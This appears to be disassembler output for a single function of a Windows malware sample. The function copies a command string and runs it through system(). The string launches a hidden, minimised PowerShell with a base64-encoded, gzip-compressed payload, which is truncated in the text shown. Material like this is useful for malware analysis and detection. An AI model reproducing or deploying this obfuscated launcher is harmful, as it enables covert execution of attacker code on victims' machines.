Function at 0x401290
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a98
call fcn.00401740
and esp, 0xfffffff0
mov eax, 0
add eax, 0xf
add eax, 0xf
shr eax, 4
shl eax, 4
mov dword [ebp - 0x1a7c], eax
mov eax, dword [ebp - 0x1a7c]
call fcn.00401740
call sym.___main
lea ecx, [ebp - 0x1a78]
mov edx, str._COMSPEC___b__c_start__b__min_powershell.exe__nop__w_hidden__e_aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEATQBjADYANgBHAFUAQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBYAHEAbgAvAHcAYQBvAHMAMgBaAFkAYwBNAEkARwAyAFMAYQBSAEsAWgAwAE0AYwBhAEcASgBDAFkAbAA0AEMARgBKADAAMgA5AG0ASgB2AFcAYgB4AGcAcgB5AEcAKwBYAHYALwA3AHoAUgBvADcARQBDAFgAcAA1AFUANwBxAFMAbwBoADkAbQBaAG0AZAB7ADEAfQBlAGEAWgBHAGMALwBUAHkATwBPAEUAUgBkAEwAbQBZAGQAMgBYAHsAMQB9AHIAeAAvAEoAeABXAGoAaAAyAEsAMABsAEYAUwBaACcAJwArACcAJwA5AEoAMQBRAGwAMgBSAHYAcgB1ADMAUAA1AE0AMgBXAFMAbAA4AGsAZABXAHEAdQBWAGkAMgAyAFIAQwBTAGEAbgBaADAAMQAwAHoAagBHAEUAZAArAHQASwB4AGUAWQBtADAAbQBDAGwALwBlAFUANABFAFQAVgBwAEwAKwBsAFUAWQBoAGoAewAxAH0ASABSADkALwB4ADEANwBYAFAAbwBoAHkAWAA5AFcATABpAGkANwBSADcAUQBRAHkANQByAEkAQwA3AEYAMABaAEUAYQArAE8ATAB0AGkASABoAEoAKwBWAGQAdwBWAEoAVgB4AFYAdgBuADEAVAB0AE8AbABSAGIAVgBZADUAWAA2AGUASQBKAHEAcgBpAFoAZwBuAEgAeQA0AHAAUABxAGEASgBKAFAAegBWAHgAWQBUADkAYgBZAFYAVgB4AGkAQgBlAHoAaABNADEANQBaAFUAUwBpACsAbgBGAGwARQBDAFYAbwBqAHIAdABnAGIAWQBNAGQAegBFAFAAbQBKAHcAcQA4AFoAewAxAH0AKwBhAEcAUABNADAAagB2AEoASABDAFMAcwA3AEcAVgBXAEIAYQBTADkAbQBuAHUAbgA3AE0AVQA0AFMAUgBaAGUAbQB3AHYANQAwAE4AdgB0AEQAbgBSAGEAWAAzADYAWQBSAEoAMAB0AGMANgBVAFEAYwB4ADIAegBsADQAbgBoAEQAUABKAHgAVQAyAGkAagB5AEsAYgA3AEYAOAB4AGwAbwB1AFQAdwBtAFUAVABEAFQATgBCAEQAYgBzAEEAVgBXADUAUwBpAGwAVgBKAHsAMQB9ACsAaQB4AG0AMQBpADcAYwBsAGQARwA5AFYAVQBnACsAVgBRAEsAcgBIAFkAJwAnACsAJwAnADAAMgBIAGcARAA1AC8AcABzAFAAOABsAE8ASwBkAG8AdgBLAEMAbgB6AGsASABOAEIAZwA3AEgAZwBCADQAUAB3AFYAKwA4ADUASQA2AHcAVQBsAHYAOQB7ADEAfQBFAEYANwB1AHcAMwB5AGoASABOAFQAegBCADQAcgBQAFoAWQBRAG4ATAB0AEwANQBLAGgAUwB3ADUAYwBqAGoAaQBMAE0AMQBqAEsALwBUAGoARgAyAHUAdwBSAGIAMABsACsARwBOADQAMQA5AEwAZABhAHEANQBXAHEAbwBKAGgAKwBXAG8AOABEADIASgBzAE8ARwB7ADEAfQBGAG4AZQB3AHQAUAA0AGkALwBqAHoANQBkAEMANQBuAFUAeQB0AC8AQwBjAFIATABpAFYAUgBXAGgASgAnACcAKwAnACcAdgBKAEsAdgA2AGsAdABCAHcAWABPAEsAYwAxAEEAcQBwAFYAZwBYAFAARgBTAFYANABnAEQANwBMAFUAeAB4AGcATABqAEEAVwBYAEQAagBtAGQAcgA1AGsAdgBCAEgAWABTAHMAbAAxAE0AZQB4ADYAVQBGAGcARQAvAEEASwBZAHEANAA5AGQAVwBZAFgATwBsAFgAcABSAEEANQBlAEEAbgB5ADcATgBaAEIAVgBuAGsATwBXADQARgBLADYAeQBJAHkAcwB2ACcAJwArACcAJwBGADIAcwBRAFUAaABwAFUAcABRAGsAdQB0AFIATABJAFUAMAA5AFgAWABJAHgAbwB0AGoAWABKAFQATgBLAFMASABGAGsAcABwAHoAbABVADIAWAB2AHIAcABOAFMAVABqAHkAVQA4AE4ATABjAFQASAB1AEsAWgBuAEYAcgBrADAAVQBKAGoAMQBNAFAANABnAG8AJwAnACsAJwAnAEkAOQBOADAAVgA5AGcAaQBpAEEAaABCAGQAYQBoAE0AewAxAH0AVwA1AGwATABnAHYASgAyADUAVQBVADQAbQBvAGgAUwB5AEIANgB3AHQASQBGAHcAdwBJADYAQQB3AGUAVwBDAEwAVABFADQAbQBqAE4ARABxADcAaQBZAGQANQBZAHIAaQBwAGMAZwBrADEAYwBOAG0ANgBJAEEAYQBrAFMAUgBJAHoAbQA5AFUASQBCADkANQBXAFUALwB5ADEAVABZADgAVgA3AGcAVQBnAEoAeQA0AEMAVQBFADIANgBXAE0ANgA5AEsAUQB4AEIAeABLAGsATQBBADQAcAA5AHsAMQB9AC8AOAB1AEoANQA5AFIASAB1AE4ARwBOAGMAQgBFAGMAdABrADIAeABxAFoAVgB3AGsAZwBSAHkATQBCAEUAYwBMAGgASABJADgAWQBnADUAWQAnACcAKwAnACcAMgBEAEYAYgBXAGkAagBCAG4AeABxADcATwBxAE4AKwBxAEYANgBUAG4AZwBsAGoAMwBHAHEANwBCAEEAOABYAHAATgBiAFoAdwBzACsAQgAzADYARAAxADIAYgAvADgAeQBuAGgAMgAyAFcAcABYAEgAYQArAFoAOQBDADcAcwBFADUATgBzAGcANgAxADMAMABqAFUAOQAvADYAdQBQAFQAOQAxAGgAZwA3AHYAbgBIAGQANwBzAG0AZQAwAGIAWQBsAGkATgAwAEwATwBNAHYAcABqAFgAZwBtACcAJwArACcAJwBCAGcAd
mov eax, 0x1a64
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sym._memcpy
lea eax, [ebp - 0x1a78]
mov dword [esp], eax
call sub.msvcrt.dll_system
leave
ret